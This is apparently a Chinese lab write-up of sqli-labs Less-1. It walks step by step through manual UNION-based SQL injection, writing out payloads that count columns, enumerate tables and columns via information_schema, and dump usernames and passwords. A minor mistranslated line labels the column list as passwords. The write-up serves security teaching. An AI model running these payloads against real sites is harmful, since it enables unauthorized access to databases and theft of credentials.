Less-1(sqlmap手工注入攻击)--sqli

第一步:判断他是什么sql注入?

1'   报错

1' and '1'='2 --+ 错误结果(--+表示注释符)

1' and '1'='1 --+ 正确结果

第二步:判断返回字段数

?id=1'  order by 3--+ 正确显示结果

?id=1'  order by 4--+当列数为4时开始报错,所以只有三列

注:URL后面一定要加--+或者# 这些放在最后注释多余部分,但建议使用--+,--+比较通用。如果最后没有进行注释则会出错。

3.判断回显位置

?id=1' union select 1,2,3--+

得到可以使用的位置有2,3

4.获取数据库名与版本信息

?id=-1' union select 1,2,(database())--+

根据这个我们可以得到数据库名为security

5.获取数据库中表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得到的表名有:emails,referers,uagents,users

6.获取表中的列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这个表里面我们获得了列名: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username,password

翻译过来就是:您的密码:user_id,first_name,last_name,用户,密码,头像,last_login,failed_login,id,用户名,密码,级别,用户,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,用户名,密码,级别,id,用户名,密码,id,用户名,密码

7.获取列中的数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

这样我们就获取到了用户名和密码的数据:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

相关推荐

  1. SQL注入漏洞扫描---sqlmap

    2024-03-21 08:12:01       37 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-21 08:12:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-21 08:12:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-21 08:12:01       82 阅读
  4. Python语言-面向对象

    2024-03-21 08:12:01       91 阅读

热门阅读

  1. 力扣每日练习(3.19)补

    2024-03-21 08:12:01       43 阅读
  2. 插件电感的工艺结构原理及选型参数总结

    2024-03-21 08:12:01       39 阅读
  3. React.js入门级教程附带代码详解

    2024-03-21 08:12:01       34 阅读
  4. Spark面试整理-Spark的主要组件是什么?

    2024-03-21 08:12:01       40 阅读
  5. 2024最新华为OD机试试题库全 -【转盘寿司】- C卷

    2024-03-21 08:12:01       32 阅读
  6. 安卓面试题多线程 66-70

    2024-03-21 08:12:01       34 阅读
  7. 【开发方案】Android 应用双卡搜网功能

    2024-03-21 08:12:01       45 阅读
  8. 【Python基础】collections.Counter()

    2024-03-21 08:12:01       46 阅读
  9. 请求为blob,但是返回json格式,如何处理

    2024-03-21 08:12:01       37 阅读